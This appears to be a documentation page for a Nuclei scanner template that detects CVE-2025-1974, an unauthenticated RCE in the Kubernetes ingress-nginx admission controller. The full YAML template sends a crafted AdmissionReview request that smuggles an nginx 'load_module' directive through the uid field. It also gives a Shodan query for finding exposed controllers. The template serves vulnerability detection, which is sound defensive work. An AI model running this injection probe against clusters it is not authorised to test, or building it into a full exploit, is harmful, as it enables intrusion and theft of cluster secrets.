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Ingress-Nginx Controller - Remote Code Execution

ID: CVE-2025-1974

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch,UNC1739

Tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s

Description

Section titled “Description”

A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)

YAML Source

Section titled “YAML Source”
id: CVE-2025-1974


info:
  name: Ingress-Nginx Controller - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch,UNC1739
  severity: critical
  description: |
    A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
  impact: |
    Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
  remediation: |
    Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
  reference:
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1974
    - https://https://github.com/kubernetes/kubernetes/issues/131009
    - https://github.com/eeeeeeeeee-code/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-1974
    cwe-id: CWE-653
    epss-score: 0.83735
    epss-percentile: 0.99242
  metadata:
    verified: true
    max-request: 1
    shodan-query: ssl:"ingress-nginx" port:8443
  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s


variables:
  string: "{{to_lower('{{randstr}}')}}"


http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {
          "kind": "AdmissionReview",
          "apiVersion": "admission.k8s.io/v1",
          "request": {
            "uid": "{{string}}",
            "kind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "resource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "requestKind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "requestResource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "name": "test-{{randstr}}",
            "namespace": "default",
            "operation": "CREATE",
            "userInfo": {
              "uid": "{{string}}"
            },
            "object": {
              "kind": "Ingress",
              "apiVersion": "networking.k8s.io/v1",
              "metadata": {
                "name": "test-{{randstr}}",
                "namespace": "default",
                "creationTimestamp": null,
                "uid": "InjectTest#;\n\n}\n}\n}\nload_module test;",
                "annotations": {
                  "nginx.ingress.kubernetes.io/mirror-target": "fake-mirror-target"
                }
              },
              "spec": {
                "ingressClassName": "nginx",
                "rules": [
                  {
                    "host": "test.example.com",
                    "http": {
                      "paths": [
                        {
                          "path": "/",
                          "pathType": "Prefix",
                          "backend": {
                            "service": {
                              "name": "kubernetes",
                              "port": {
                                "number": 443
                              }
                            }
                          }
                        }
                      ]
                    }
                  }
                ]
              },
              "status": {
                "loadBalancer": {}
              }
            },
            "oldObject": null,
            "dryRun": true,
            "options": {
              "kind": "CreateOptions",
              "apiVersion": "meta.k8s.io/v1"
            }
          }
        }
    matchers:
      - type: word
        part: body
        words:
          - 'AdmissionReview'
          - 'load_module'
          - 'directive is specified too late'
        condition: and
# digest: 4a0a0047304502205dfebcd618d317f758a043abd4e1215f45888e5ec04db2a8d48ca4d054af7bad0221009d1a034b129ebf8bb1fce3fc36eed57e83bdb7f926f7230db724a8b88f7091d2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-1974.yaml"

View on Github